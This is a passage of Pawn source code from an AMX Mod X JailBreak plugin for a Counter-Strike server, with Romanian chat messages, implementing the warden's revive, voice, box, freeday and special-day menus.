        if(get_user_flags(id) & read_flags(VIP_ACCES))
                set_user_info(id, "model", "Play_Arena_VipCT")
        else
        {
                set_user_info(id, "model", "jb_pa_player")
                entity_set_int(id, EV_INT_body, 3)
        }

        return PLUGIN_HANDLED
}

public cmd_simonrevive(id)
{
        if(g_Simon == id)
                menu_revive(id, CS_TEAM_T, "revive", "Revive Menu")

        return PLUGIN_CONTINUE
}

public revive(id, menu, item)
{
        if(item == MENU_EXIT)
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        static dst[32], data[5], access, callback, player

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        player = str_to_num(data)
        new name[32], name2[32]
        get_user_name(id, name, 31)
        get_user_name(player, name2, 31)

        if(player > 0 && is_user_connected(player) && !is_user_alive(player))
        {
                ExecuteHamB(Ham_CS_RoundRespawn, player)
                chatcolor(0, "!g[SimonMenu] !ySimon !g%s !yi-a dat !grevive !tPrizonierului !g%s", name, name2)
        }

        cmd_simonrevive(id)
        return PLUGIN_HANDLED
}

stock menu_revive(id, CsTeams:team, callback[], title[], any:...)
{
        static i, name[32], num[5], menu, menuname[32]
        formatex(menuname, charsmax(menuname), title)
        menu = menu_create(menuname, callback)

        for(i = 1; i <= g_MaxClients; i++)
        {
                if(!is_user_connected(i) || is_user_alive(i))
                        continue

                if(!(team == CS_TEAM_T || team == CS_TEAM_CT) || ((team == CS_TEAM_T || team == CS_TEAM_CT) && (cs_get_user_team(i) == team)))
                {
                        get_user_name(i, name, charsmax(name))
                        num_to_str(i, num, charsmax(num))
                        menu_additem(menu, name, num, 0)
                }
        }

        menu_display(id, menu)
}

public CheckWeapon(id)
{
        if(g_Simon != id)
                return

        new vic, bd
        get_user_aiming(id, vic, bd, CHEK_WEAPON_DIST)

        if(is_user_alive(vic) && get_user_team(vic) == 1)
        {
                new iBitWeapons = pev(vic, pev_weapons) + (1<<31)

                if(iBitWeapons &= ~(1<<CSW_HEGRENADE | 1<<CSW_SMOKEGRENADE | 1<<CSW_FLASHBANG | 1<<CSW_KNIFE))
                        chatcolor(id, "%L", id, "HAVE_WEAPON", SM_PREFIX)
                else
                        chatcolor(id, "%L", id, "NO_HAVE_WEAPON", SM_PREFIX)

                ChekWeaponAmount[id]--
        }
}

public RemoveWanted(id)
{
        if(g_PlayerWanted <= 0)
        {
                chatcolor(id, "!g[SimonMenu] !yNu !geste !ynici un !gPrizonier !tCautat !y.")
                return PLUGIN_HANDLED
        }

        new i_Menu = menu_create("\rCui vrei sa scoti Wanted-ul?", "remove_wanted_handler")
        new s_Players[32], i_Num, i_Player
        new s_Name[32], s_Player[10]

        get_players(s_Players, i_Num)

        for (new i; i < i_Num; i++)
        {
                i_Player = s_Players[i]

                if(is_user_alive(i_Player) && id != i_Player && get_user_team(i_Player) == 1 && get_bit(g_PlayerWanted, i_Player))
                {
                        get_user_name(i_Player, s_Name, charsmax(s_Name))
                        num_to_str(i_Player, s_Player, charsmax(s_Player))
                       
                        menu_additem(i_Menu, s_Name, s_Player, 0)
                }
        }

        menu_display(id, i_Menu, 0)
        return PLUGIN_HANDLED
}

public remove_wanted_handler(id, i_Menu, item)
{
        if(item == MENU_EXIT || g_Simon != id)
        {
                menu_destroy(i_Menu)
                return PLUGIN_HANDLED
        }

        new s_Data[6], s_Name[64], i_Access, i_Callback
        menu_item_getinfo(i_Menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)

        new i_Player = str_to_num(s_Data)

        new name[32], name_player[32]
        get_user_name(id, name, charsmax(name))
        get_user_name(i_Player, name_player, charsmax(name_player))
       
        if(g_Simon == id && id != i_Player && is_user_alive(i_Player) && get_user_team(i_Player) == 1 && get_bit(g_PlayerWanted, i_Player))
        {
                set_hudmessage(20, 255, 255, -1.0, 0.74, 0, 6.0, 8.0)
                show_hudmessage(0, "%L", id, "CLEAR_WANTED_LIST", name, name_player)

                clear_bit(g_PlayerWanted, i_Player)

                set_user_info(i_Player, "model", "jb_pa_player")
                entity_set_int(i_Player, EV_INT_body, 2)
                entity_set_int(i_Player, EV_INT_skin, random_num(0, 2))
                set_user_rendering(i_Player, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
        }

        menu_destroy(i_Menu)
        return PLUGIN_HANDLED
}

public cmd_voicemenu(id)
{
        new Buffer[512]
        formatex(Buffer, charsmax(Buffer), "%L", id, "GIVE_OR_TAKE_VOICE_MENU")
        new i_Menu = menu_create(Buffer, "cmd_voicemenu_handler")

        new s_Players[32], i_Num, i_Player
        new s_Name[32], s_Player[10]

        get_players(s_Players, i_Num)

        for (new i; i < i_Num; i++)
        {
                i_Player = s_Players[i]

                if(is_user_alive(i_Player) && id != i_Player && get_user_team(i_Player) == 1)
                {
                        get_user_name(i_Player, s_Name, charsmax(s_Name))
                        num_to_str(i_Player, s_Player, charsmax(s_Player))

                        if(get_bit(g_PlayerVoice, i_Player))
                                formatex(Buffer, charsmax(Buffer), "%L", id, "GIVE_VOICE", s_Name)
                        else
                                formatex(Buffer, charsmax(Buffer), "%L", id, "PICK_VOICE", s_Name)
                        menu_additem(i_Menu, Buffer, s_Player, 0)
                }
        }

        menu_display(id, i_Menu, 0)
        return PLUGIN_HANDLED
}

public cmd_voicemenu_handler(id, i_Menu, item)
{
        if(item == MENU_EXIT)
        {
                menu_destroy(i_Menu)
                return PLUGIN_HANDLED
        }

        new s_Data[6], s_Name[64], i_Access, i_Callback
        menu_item_getinfo(i_Menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)

        new i_Player = str_to_num(s_Data)

        new name[32], name_player[32]
        get_user_name(id, name, charsmax(name))
        get_user_name(i_Player, name_player, charsmax(name_player))

        if(g_Simon == id && id != i_Player && get_user_team(i_Player) == 1)
        {
                if(get_bit(g_PlayerVoice, i_Player))
                {
                        chatcolor(0, "!g[VoiceMenu] !ySimon !g%s !yi-a luat !gVocea !tlui !g%s .", name, name_player)
                        clear_bit(g_PlayerVoice, i_Player)
                        cmd_voicemenu(id)
                }
                else
                {
                        chatcolor(0, "!g[VoiceMenu] !ySimon !g%s !yi-a dat !gVoce !tlui !g%s .", name, name_player)
                        set_bit(g_PlayerVoice, i_Player)
                        cmd_voicemenu(id)
                }
        }

        menu_destroy(i_Menu)
        return PLUGIN_HANDLED
}

public make_teams()
{
        static i
        for(i = 0; i < mxplr; i++)
        {
                if(!is_user_alive(i) || get_user_team(i) != 1)
                        continue

                if(team)
                {
                        set_user_info(i, "model", "JB_FootBall_TeamA")
                        entity_set_int(i, EV_INT_body, random_num(0, 1))
                }
                else
                {
                        set_user_info(i, "model", "JB_FootBall_TeamB")
                        entity_set_int(i, EV_INT_body, random_num(0, 1))
                }

                team = !team
        }
}
/*======================================================
              END SIMONMENU ---> BoxMenu
======================================================*/
public cmd_boxmenu(id)
{
        if((is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT))
        {
                if(g_PlayerLast)
                {
                        chatcolor(id, "!g[BoxMenu]!y Nu poti sa dai box cand e !gUltimul !tPrizonier !yin !gViata!y.")
                        return PLUGIN_HANDLED
                }

                /*if(g_GameMode == 1 || g_GameMode == 17 || g_GameMode == 15)
                {
                        chatcolor(id, "!g[BoxMenu]!y Nu poti sa dai box cand e !gZi Speciala!y.")
                        return PLUGIN_HANDLED
                }*/

                if(g_GameMode == 0 || g_GameMode == 13)
                {
                        new szText[ 555 char ];

                        formatex( szText, charsmax( szText ), "%L", id, "BOXMENU_TITLE");
                        new menu = menu_create( szText, "box_handler" );

                        formatex( szText, charsmax( szText ), "%L", id, "BOXMENU_M1" );
                        menu_additem( menu, szText, "1", 0 );

                        formatex( szText, charsmax( szText ), "%L", id, "BOXMENU_M2" );
                        menu_additem( menu, szText, "2", 0 );

                        menu_display( id, menu, 0)
                }
                else
                        chatcolor(id, "!g[BoxMenu]!y Nu poti sa dai box cand e !gZi Speciala!y.")
        }
        else
                chatcolor(id, "%L",0,"BOX_ACCES")

        return PLUGIN_HANDLED
}

public box_handler( id, menu, item )
{
        if( item == MENU_EXIT )
        {
                menu_destroy( menu )
                return PLUGIN_HANDLED
        }

        new data[6], iName[64]
        new access, callback

        menu_item_getinfo( menu, item, access, data,5, iName, 63, callback )
        new key = str_to_num( data )
        switch( key )
        {
                case 1:
                {
                        cmd_box(id)
                        cmd_boxmenu(id)
                }
                case 2:
                {
                        cmd_boxoff(id)
                        cmd_boxmenu(id)
                }
        }

        menu_destroy( menu )
        return PLUGIN_HANDLED
}

public cmd_box(id)
{
        if(g_PlayerLast)
        {
                chatcolor(id, "!t[!gBox!t] !yNu poti activa !tBox,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                return PLUGIN_HANDLED
        }

        static i
        if((id < 0) || (is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) || get_user_flags(id) & read_flags("f"))
        {
                if(g_GameMode == 13 && g_TeamAlive[CS_TEAM_T] > 1)
                {
                        for(i = 1; i <= g_MaxClients; i++)
                                if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
                                        set_user_health(i, 100)

                        client_cmd(0, "mp3 play ^"%s^"", game_box)
                        set_cvar_num("mp_tkpunish", 0)
                        set_cvar_num("mp_friendlyfire", 1)
                        jb_strip_user_cold_weapons(i)
                        g_BoxStarted = 1

                        if(get_user_team(id) == 2)
                        {
                                new name[32]
                                get_user_name(id, name, 63)
                                chatcolor(0, "%L",0,"BOX_START", name)
                                player_hudmessage(0, 1, 3.0, _, "Modul Box a fost pornit de: %s", name)
                        }
                }
                else if(g_GameMode == 0 && g_TeamAlive[CS_TEAM_T] <= get_pcvar_num(gp_BoxMax) && g_TeamAlive[CS_TEAM_T] > 1)
                {
                        for(i = 1; i <= g_MaxClients; i++)
                                if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
                                {
                                        set_user_health(i, 100)
                                        give_item(i, "weapon_knife")
                                        set_cvar_string("jbe_shop", "0");
                                }

                        client_cmd(0, "mp3 play ^"%s^"", game_box)
                        set_cvar_num("mp_tkpunish", 0)
                        set_cvar_num("mp_friendlyfire", 1)
                        g_BoxStarted = 1

                        if(get_user_team(id) == 2)
                        {
                                new name[32]
                                get_user_name(id, name, 63)
                                chatcolor(0, "%L",0,"BOX_START", name)
                                player_hudmessage(0, 1, 3.0, _, "Modul Box a fost pornit de: %s", name)
                        }
                }
                else
                        player_hudmessage(id, 1, 3.0, _, "%L", LANG_SERVER, "JBE_GUARD_CANTBOX")
        }

        return PLUGIN_HANDLED
}

public cmd_boxoff(id)
{
        if(g_PlayerLast)
        {
                chatcolor(id, "!t[!gBox!t] !yNu poti dezactiva !tBox,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                return PLUGIN_HANDLED
        }

        static i
        if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT || get_user_flags(id) & read_flags("f"))
        {
                for(i = 1; i <= g_MaxClients; i++)
                        if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
                        {
                                set_user_health(i, 100)
                                set_cvar_string("jbe_shop", "1");
                        }

                client_cmd(0, "mp3 play ^"%s^"", game_boxoff)
                set_cvar_num("mp_tkpunish", 0)
                set_cvar_num("mp_friendlyfire", 0)
                g_BoxStarted = 0
                new name[32]
                get_user_name(id, name, 63)
                chatcolor(0, "%L",0,"BOX_STOP", name)
                player_hudmessage(0, 1, 3.0, _, "Modul Box a fost oprit de: %s", name)
        }

        return PLUGIN_HANDLED
}
/*======================================================
              END BOXMENU --> HELPMENU
======================================================*/
public cmd_helpmenu(id)
{
        if(!is_user_alive(id))
                return PLUGIN_HANDLED

        static menu
        menu = menu_create("\yHelpMenu \wJb.Play-Arena.Ro", "helpmenu_handler")

        menu_additem(menu, "\rInformatii \wMod", "1")
        menu_additem(menu, "\rInformatii \wServer", "2")
        menu_additem(menu, "\rMeniu \wWho\y/\wDonatii", "3")

        menu_display(id, menu)
        return PLUGIN_HANDLED
}

public helpmenu_handler(id, menu, item)
{
        if( item == MENU_EXIT )
        {
                menu_destroy(menu);
                return PLUGIN_HANDLED;
        }

        new data[6], iName[64];
        new access, callback;

        menu_item_getinfo(menu, item, access, data,5, iName, 63, callback);

        new key = str_to_num(data);
        switch(key)
        {
                case 1: info_mod(id)
                case 2: informatii(id)
                case 3: client_cmd(id,"say /who")
        }

        menu_destroy(menu);
        return PLUGIN_HANDLED;
}

public info_mod(id)
{
        show_motd(id,"/addons/amxmodx/configs/PedoBearHome/info_mod.htm")
        return 0
}

public informatii(id)
{
        show_motd(id,"/addons/amxmodx/configs/PedoBearHome/info_server.htm")
        return 0
}
/*======================================================
              END HELPEMENU ---> FreedayMenu
======================================================*/
public cmd_freeday(id)
{
        static menu, menuname[32], option[64]

        if(!is_freeday() && ((is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) || get_user_flags(id) & read_flags ("c")))
        {
                formatex(menuname, charsmax(menuname), "%L", LANG_SERVER, "JBE_MENU_FREEDAY")
                menu = menu_create(menuname, "freeday_choice")

                formatex(option, charsmax(option), "%L", LANG_SERVER, "JBE_MENU_FREEDAY_PLAYER")
                menu_additem(menu, option, "1", 0)

                formatex(option, charsmax(option), "%L", LANG_SERVER, "JBE_MENU_FREEDAY_ALL")
                menu_additem(menu, option, "2", 0)

                menu_display(id, menu)
        }

        return PLUGIN_HANDLED
}

public freeday_choice(id, menu, item)
{
        if(item == MENU_EXIT)
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        static dst[32], data[5], access, callback

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        menu_destroy(menu)
        get_user_name(id, dst, charsmax(dst))

        switch(data[0])
        {
                case('1'): cmd_freeday_player(id)
                case('2'):
                {
                        if((cs_get_user_team(id) == CS_TEAM_CT) || get_user_flags(id) & read_flags ("c"))
                                cmd_ask(id)
                }
        }

        return PLUGIN_HANDLED
}

public cmd_freeday_player(id)
{
        if((is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) || get_user_flags(id) & read_flags ("c"))
                menu_players(id, CS_TEAM_T, id, 1, "freeday_select", "%L", LANG_SERVER, "JBE_MENU_FREEDAY")

        return PLUGIN_CONTINUE
}

public freeday_select(id, menu, item)
{
        if(item == MENU_EXIT)
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        static dst[32], data[5], player, access, callback

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        player = str_to_num(data)
        freeday_set(id, player)

        return PLUGIN_HANDLED
}

public cmd_ask(id)
{
        static menu, menuname[32], option[64]

        if(!is_freeday() && ((is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT)))
        {
                formatex(menuname, charsmax(menuname), "%L", LANG_SERVER, "JBE_FD_ANSWER_TITLE")
                menu = menu_create(menuname, "freeday_ask")

                formatex(option, charsmax(option), "\y%L", LANG_SERVER, "JBE_FD_ANSWER_YES")
                menu_additem(menu, option, "1", 0)

                formatex(option, charsmax(option), "\r%L", LANG_SERVER, "JBE_FD_ANSWER_NO")
                menu_additem(menu, option, "2", 0)

                menu_display(id, menu)
        }

        return PLUGIN_HANDLED
}

public freeday_ask(id, menu, item)
{
        if(item == MENU_EXIT)
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        static dst[32], data[5], access, callback

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        menu_destroy(menu)
        get_user_name(id, dst, charsmax(dst))
        switch(data[0])
        {
                case('1'):
                {
                        if(g_isDay)
                        {
                                chatcolor(id, "!g[JailBreak] !yNu poti da !gFreeDay !ypentru ca este in curs o !gZi Speciala !t.")
                                return PLUGIN_HANDLED
                        }

                        if(g_PlayerLast)
                        {
                                chatcolor(id, "!g[JailBreak] !yNu poti activa !tZiua Libera,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                                return PLUGIN_HANDLED
                        }

                        if((cs_get_user_team(id) == CS_TEAM_CT))
                        {
                                g_Simon = 0
                                get_user_name(id, dst, charsmax(dst))
                                chatcolor(0, "!g[JailBreak] !yGardianul !t[!g%s!t] !ya dat la toti !tPrizonieri !gFreeDay!y.", dst)
                                check_freeday(TASK_FREEDAY)
                        }
                }
                case('2'):
                {
                        if(g_isDay)
                        {
                                chatcolor(id, "!g[JailBreak] !yNu poti da !gFreeDay !ypentru ca este in curs o !gZi Speciala !t.")
                                return PLUGIN_HANDLED
                        }

                        if(g_PlayerLast)
                        {
                                chatcolor(id, "!g[JailBreak]  !yNu poti da !tZi Libera,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                                return PLUGIN_HANDLED
                        }

                        if((cs_get_user_team(id) == CS_TEAM_CT))
                                cmd_freeday(id)
                }
        }

        return PLUGIN_HANDLED
}/*======================================================
              End FreedayMenu ---> DaysMenu
======================================================*/
public cmd_daysmenu(id)
{
        /*if(g_JailDay == 0 || g_JailDay == 5 || g_JailDay == 6 || g_JailDay == 7)
                return PLUGIN_HANDLED*/

        if(g_PlayerLast)
        {
                chatcolor(id, "!g[BoxMenu]!y Nu poti sa accesa !gDaysMenu cand !yeste !gUltimul !tPrizonier !yin !gViata!y.")
                return PLUGIN_HANDLED
        }

        if(g_Simon == id)
        {
                if(is_user_alive(id))
                        if(g_GameMode <= 0)
                                JBDays(id);
                        else
                                chatcolor(id, "!t[!gManagerDays!t] !yO !gZi !tSpeciala !ya fost aleasa !gdeja!y.")
        }
        else
                chatcolor(id, "!t[!gManagerDays!t] !gTu !tnu esti !gSimon!y.")

        return PLUGIN_HANDLED
}

public HnsCount()
{
        set_hudmessage(0 , 255, 0, -1.0, 0.28, 2, 1.1, 1.1, 0.01, 0.01);
        show_hudmessage(0, "Prizonierii au: %d secunede sa se ascunda !!", g_HNSCount--);

        if(g_HNSCount == 0)
        {
                set_hudmessage(random_num(1,255), random_num(1,255), random_num(1,255), -1.0, -1.0, 0, 6.0, 12.0)
                show_hudmessage(0, "Timp-ul s-a scurs, iar Gardienii vor veni sa va caute !!")
        }
}

public JBDays(id)
{
        new a = get_timeleft()
        new menu = menu_create("\rDaysMenu \yJb.Play-Arena.Ro", "days_menu_handler");

        menu_additem(menu, "Zombie Day", "1", 0);
        menu_additem(menu, "Spartan Day", "2", 0);
        menu_additem(menu, "Gravity Day", "3", 0);
        menu_additem(menu, "Grenade Day", "4", 0);
        menu_additem(menu, "NightCrawler Day", "5", 0);
        menu_additem(menu, "Box Day", "6", 0);
        menu_additem(menu, "Gang Day", "7", 0);
        menu_additem(menu, "War Day", "8", 0);
        menu_additem(menu, "Hns Day", "9", 0);
        menu_additem(menu, "Ghost Day", "10", 0);

        if( a < 301 )
                menu_additem(menu, "GodMode Day", "11", 0);
        else
                menu_additem(menu, "\dGodMode Day\r [Numai in ultimele 5 min]", "11", 0);

        menu_additem(menu, "Magic Day", "12", 0);
        menu_additem(menu, "Tag Day", "13", 0);
        menu_additem(menu, "One Hp Day", "14", 0);
        menu_additem(menu, "DodgeBall Day", "15", 0);
        menu_additem(menu, "HeadShot Day", "16", 0);
        menu_additem(menu, "PaintBall Day \r[DEZACTIVAT]", "17", ADMIN_ADMIN);

        menu_setprop(menu, MPROP_NEXTNAME, "Inainte")
        menu_setprop(menu, MPROP_BACKNAME, "Inapoi")
        menu_setprop(menu, MPROP_EXIT, MEXIT_NEVER);
        menu_display(id, menu, 0);

        return PLUGIN_HANDLED;
}

public days_menu_handler(id, menu, item)
{
        if( item == MENU_EXIT || !is_user_alive(id) )
        {
                menu_destroy(menu);
                return PLUGIN_HANDLED;
        }

        new data[6], iName[64];
        new access, callback;

        menu_item_getinfo(menu, item, access, data,5, iName, 63, callback);

        new key = str_to_num(data);
        switch(key)
        {
                case 1: ZombieDayMenu(id)
                case 2:
                {
                        SpartanDay()
                        set_cvar_string("jb_dayss", "Spartan Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Spartan Day !t]", name);
                }
                case 3:
                {
                        GravityDay()
                        set_cvar_string("jb_dayss", "Gravity Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("sv_parachute", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Gravity Day !t]", name);
                }
                case 4:
                {
                        GrenadeDay()
                        set_cvar_string("jb_dayss", "Grenade Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Grenade Day !t]", name);
                }
                case 5:
                {
                        NightDay()
                        set_cvar_string("jb_dayss", "NightCrawler Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_camera", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g NightCrawler Day !t]", name);
                }
                case 6:
                {
                        BoxDay()
                        set_cvar_string("jb_dayss", "Box Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Box Day !t]", name);
                }
                case 7:
                {
                        GangDay()
                        set_cvar_string("jb_dayss", "Gang Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Gang Day !t]", name);
                }
                case 8:
                {
                        WarDay()
                        set_cvar_string("jb_dayss", "War Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g War Day !t]", name);
                }
                case 9: HnsDayMenu(id)
                case 10:
                {
                        GhostDay()
                        set_cvar_string("jb_dayss", "Ghost Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Ghost Day !t]", name);
                }
                case 11:
                {
                        new a = get_timeleft()
                        if( a < 301 )
                        {
                                GodModeDay()
                                set_cvar_string("jb_dayss", "GodMode Day");
                                set_cvar_string("jbe_shop", "0");
                                set_cvar_string("jb_autojoin", "1");
                                secundeday = 500

                                new name[33]
                                get_user_name(id, name, 31)
                                chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g GodMode Day !t]", name);
                        }
                        else
                                chatcolor(0, "!t[!gDays!t] !gGodMode Day!y poate fi dat numai in !gUltimele 5 Minute !y.");
                }
                case 12:
                {
                        MagicDay()
                        set_cvar_string("jb_dayss", "Magic Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Magic Day !t]", name);
                }
                case 13:
                {
                        TagDay()
                        set_cvar_string("jb_dayss", "Tag Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("sv_parachute", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Tag Day !t]", name);
                }
                case 14:
                {
                        OneHpDay()
                        set_cvar_string("jb_dayss", "One Hp Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 200

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g One Hp Day !t]", name);
                }
                case 15:
                {
                        DodgeBallDay()
                        set_cvar_string("jb_dayss", "DodgeBall Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("sv_parachute", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 200

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g DodgeBall Day !t]", name);
                }
                case 16:
                {
                        HeadShotDay()
                        set_cvar_string("jb_dayss", "HeadShot Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 200

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!g Days !t] Simon !t[!g %s !t] a pornit !gZiua Speciala!y: !t[!g HeadShot Day !t]", name);
                }
                case 17:
                {
                        PaintBallDay()
                        set_cvar_string("jb_dayss", "PaintBall Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 200

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g PaintBall Day !t]", name);
                }
        }

        new crowbar_ent
        while((crowbar_ent=engfunc(EngFunc_FindEntityByString, crowbar_ent, "classname", gCrowbarClassname)) != 0)
                engfunc(EngFunc_RemoveEntity, crowbar_ent)

        jb_strip_user_cold_weapons(id)

        menu_destroy(menu);
        return PLUGIN_HANDLED;
}

public ZombieDayMenu(id)
{
        new menu = menu_create("\rZombie Day \yMenu", "zomibieday_menu_handler");

        menu_additem(menu, "Zombie Day \d[\rPrizonieri Zombie\d]", "1", 0);
        menu_additem(menu, "Reverse Zombie Day \d[\rGardieni Zombie\d]", "2", 0);

        menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
        menu_display(id, menu, 0);

        return PLUGIN_HANDLED;
}

public zomibieday_menu_handler(id, menu, item)
{
        if( item == MENU_EXIT )
        {
                menu_destroy(menu);
                return PLUGIN_HANDLED;
        }

        new data[6], iName[64];
        new access, callback;

        menu_item_getinfo(menu, item, access, data,5, iName, 63, callback);
        new key = str_to_num(data);

        switch(key)
        {
                case 1:
                {
                        ZombieDay()
                        set_cvar_string("jb_dayss", "Zombie Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 400

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Zombie Day !t]", name);
                }
                case 2:
                {
                        RzmDay()
                        set_cvar_string("jb_dayss", "Reverse Zombie Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 400

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Reverse Zombie Day !t]", name);
                }
        }

        menu_destroy(menu);
        return PLUGIN_HANDLED;
}

public HnsDayMenu(id)
{
        new menu = menu_create("\rHns Day \yMenu", "hnsday_menu_handler");

        menu_additem(menu, "Hns Day \d[\rNormal\d]", "1", 0);
        menu_additem(menu, "Hns Simple Day \d[\rFun\d]", "2", 0);

        menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
        menu_display(id, menu, 0);

        return PLUGIN_HANDLED;
}

public hnsday_menu_handler(id, menu, item)
{
        if( item == MENU_EXIT )
        {
                menu_destroy(menu);
                return PLUGIN_HANDLED;
        }

        new data[6], iName[64];
        new access, callback;

        menu_item_getinfo(menu, item, access, data,5, iName, 63, callback);
        new key = str_to_num(data);

        switch(key)
        {
                case 1:
                {
                        HnsDay()
                        set_cvar_string("jb_dayss", "Hns Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
